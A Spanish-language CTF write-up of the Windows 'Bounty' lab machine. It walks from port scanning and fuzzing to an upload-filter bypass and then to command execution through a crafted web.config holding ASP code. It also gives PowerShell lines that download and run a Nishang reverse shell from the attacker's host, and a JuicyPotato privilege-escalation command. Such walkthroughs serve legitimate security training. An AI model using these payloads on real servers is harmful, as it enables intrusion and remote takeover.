articulos - b0ySie7e
  • 👋Bienvenido
  • Write up
    • 📕DockerLabs
      • QueueMedic
    • 📕Tryhackme
      • VulnneTroasted
      • Relevant
      • Bufferoverflowprep
      • Eavesdropper
      • Kitty
      • Borderlands
      • Willow
      • Gatekeeper
      • Web Strike Blue Team
      • Splunkps Eclipse
      • Sustah
      • Battery
      • The Server From Hell
      • Biteme
      • Zeno
      • Olymus
      • Mastermind
      • Cyber Crafted
      • Ollie
      • Red
      • Opacity
      • Tony The Tiger
      • B3dr0ck
      • Valley
      • Hacker vs Hacker
      • Flatine
      • Glitch
      • Smag Grotto
      • Ninja Skills
      • Corridor
      • TechSupport
      • Kiba
      • Fowsniff CTF
      • Blueprint
      • Anonymous
      • Bookstore
      • Bounty
      • Cmspit
      • Mustacchio
    • 📕Hackthebox
      • Inject
      • Busqueda
      • Monitors Two
      • PC
      • Topology
      • Wifinetic
      • Pilgrimage
      • Keeper
      • Headless
      • Devvortex
      • Codify
      • Perfection
      • Broker
      • Pov
      • Resolute
      • Monteverde
      • Intelligence
      • StreamIO
      • Scrambled
      • Escape
      • Authority
      • Return
      • Timelapse
      • Support
      • Cap
      • Doctor
      • Validation
      • Twomillion
    • 📕PortSwigger
      • SQL Injection
        • Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
        • Lab: SQL injection vulnerability allowing login bypass
        • Lab: SQL injection attack, querying the database type and version on Oracle
        • Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
        • Lab: SQL injection attack, listing the database contents on non-Oracle databases
        • Lab: SQL injection UNION attack, determining the number of columns returned by the query
        • Lab: SQL injection UNION attack, retrieving data from other tables
        • Lab: SQL injection UNION attack, retrieving multiple values in a single column
        • Lab: Blind SQL injection with conditional responses
        • Lab: Blind SQL injection with conditional errors
        • Lab: Visible error-based SQL injection
        • Lab: Blind SQL injection with time delays
        • Lab: Blind SQL injection with time delays and information retrieval
        • Lab: Blind SQL injection with out-of-band interaction
        • Lab: Blind SQL injection with out-of-band data exfiltration
        • Lab: SQL injection with filter bypass via XML encoding
  • Articulos
    • 🛠️Proyectos
      • 📝Host Port Discovery
    • 🛠️Laboratorio
      • 📝Hacking Wireles
  • Vulnerabilidaes
    • 🖥️Explotacion
      • CVE-2023-38831
Powered by GitBook
On this page
  • Enumeración del OS
  • ESCANEO DE PUERTOS
  • Página web
  • Escalar privilegios - usuario merlin
  1. Write up
  2. Tryhackme

Bounty

PreviousBookstoreNextCmspit

Last updated 1 year ago

NOMBRE
Plataforma
OS

BOUNTY

HACKTHEBOX

WINDOWS

Enumeración del OS

Realizamos un simple ping, esto nos ayudara a identificar el ttl y esto nos indica el OS al cual nos estamos enfrentado. Esto a veces varia, pero normalmente se tiene que en :

  • Linux -> ttl -> 64

  • Windows -> ttl -> 128

En este caso se tiene un ttl de 127, esto es debido a que nos conectamos atraves de un nodo intermediario y eso hace que el ttl disminuya en una unidad.

ESCANEO DE PUERTOS

  • -p- : Es el rango de puertos las cuales va escanear.

  • --open : Solo nos reportará los puertos que tienen status "open".

  • --min-rate : Indica la tasa minima de paquetes, esto acelerará el escaneo. Esto puede tener muchas deficiencias cuando la condición de la red es muy mala y en ese caso es mejor realizar un T4 o T5.

  • -vvv : Con este parametro podemos ver la output mientras va escaneando y asi adelantar un poco mas de trabajo.

  • -n : Parametro que indica que no deseamos que realiza host discovery, con esto activo puede demorar un poco mas el escaneo.

  • -p80 : Puertos en espacificos que deseamos escanear.

  • -sC : Scripts por defecto que se usaran para la enumeración.

  • -sV :Enumerar las versiones y servicios

  • -sCV : Otra manera de indicar -sC y -sV de manera junta.

  • -oN : Para que nos guarde la información enumerada en formato nmap.

nmap -p- --min-rate 5000 -Pn -n -vvv 10.10.10.93 -oG allportsScan
nmap -p80 -sCV -vvv -Pn 10.10.10.93 -oN servicesScan

Página web

Nos encontramos que el puerto 80 esta abierto, esto normalmente es "http" así que vamos a hechar un vistaso a la página web.

Enumeración del servidor web

Hay muchas maneras de enumerar las tecnologias que se estan ejecutando en un servidor, pero las que yo utilizó normalmente es wappalyzer y whatweb

  • Wappalyzer

  • whatweb

Para descubrir directorios en el sitio web, realizaremos fuzzing con wfuzz el cual probará distintos directorios en el sitio web.

wfuzz -c -f directoryFuzz,raw -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 60 --hh 630 --hc 404 -u http://10.10.10.93/FUZZ

Se encuentra dos directorios, pero no tenemos acceso de listar el contenido de estos.

Con la herramienta gobuster vamos hacer fuzzing, esto para descubrir archivos que estan en el servido web al cual no se ve.

gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.93/ -x aspx,asp,php,txt -t 60

Al parecer los archivo que se suben al servidor se almacenan en /uploadedfiles/

Vamos a subir un archivo apsx malicioso para poder conectarnos al servidor.

El archivo no puede ser cargado al servidor, seguramente tiene alguna regla definida a nivel de codigo.

Logramos cargar nuestro archivo al servidor, ahora probaremos a entablarnos una consola interactiva del servidor hacia nuestra maquina atacante. Pero vemos que no se puede, ya que nos marca un error.

Probamos a subir varios extenciones de archivos y nos deja subir un web.config, un web.config es como un .htaccess de un servidor apache

Tenemos una manera de ejecutar comandos, si probamos inyectantando el siguiente codigo.

<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c whoami")
o = cmd.StdOut.Readall()
Response.write(o)
%>
<%
Set wShell = CreateObject("WScript.Shell")
Set cmd = wShell.Exec("cmd.exe /c whoami")
output = cmd.StdOut.Readall()
Response.write(output)
%>

Vemos que se puede ejecutar comandos a novel de sistema.

Para obtenre una consola interactiva, usaremos nishang.

Una vez descargado, vamos a insertar lo siguiente al final

Invoke-PowerShellTcp -Reverse -IPAddress <Ip atacante> -Port 443
  • Archivo web.config

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<%
Set wShell = CreateObject("WScript.Shell")
Set cmd = wShell.Exec("cmd.exe /c powershell -c iex(new-object net.webclient).downloadstring('http://ip-atacante/nishangPStcp.ps1')")
output = cmd.StdOut.Readall()
Response.write(output)
%>

Con ncat nos ponemos a la escucha por el puerto que colocamos en el archivo "nishangPStcp.ps1" y con python un servidor en el puerto 80

Escalar privilegios - usuario merlin

Ganamos acceso al servidor y somos el usuario merlin

En el escritorio de merlin obtendremos nuestra flag.

Enumeramos el sistema y tenemos una posible via de escalar privilegios

Leyendo el siguiente artículo vemos como explotar esta vulnerabilidad:

Vamos a descargar todo lo que necesitamos:

  • .bat :

shell.bat

powershell -c "iex(new-object net.webclient).downloadstring('http://10.10.16.2/nishangPStcp.ps1')"
  • nishang

Ya tenemos todo, ahora vamos a cargar a la maquina victima.

Una vez subida todo lo necesario, ejecutemos lo siguiente, pero antes debemos de tener un servidor web a nivel de red, esto lo podemos hacer con python3 :

.\\Jp.exe -t * -p C:\\Users\\merlin\\appdata\\local\\temp\\privesc\\shell.bat -l 9002 

Ya seriamos administradores wow:

Tenemos un archivo "/transfer.aspx" el cual permitesubir un archivo. subimos una imagen para ver que ocurre.

Vamos a realizar una para evadir de alguna manera los filtros, para que así se logre cargar.

Explotar el impersonate privileges en un laboratorio:

juicy patato :

📕
revershell.aspx
inyección de caracteres nulos
https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit
https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
https://infinitelogins.com/2020/12/09/windows-privilege-escalation-abusing-seimpersonateprivilege-juicy-potato/privesc
https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
logoBounty.png
51afc72e123423eb2e4bd358c3fae2e0.png
7ab5d487f705c09376a04e512ee9e19c.png
7a234dbec635e017112a0411cce97d23.png
67332016d129f01805e2e1137def7300.png
9a5fd095ddefcadfb242c4102a8f10e6.png
ebdc767ef64d3672604cbdab68a14e9f.png
b313d49cb6d0c0e8b597672ba9a96932.png
a8a9cc783184225f47bacafe92e3e585.png
33268bfa7b9182a2486f3fe7ac14e79a.png
b26a8f9fc45d32966add336b5c3eb1ea.png
c67bcf6ea9371388af80ee2fdc568b3f.png
2170674f66c7dbc5f12ffd837d926847.png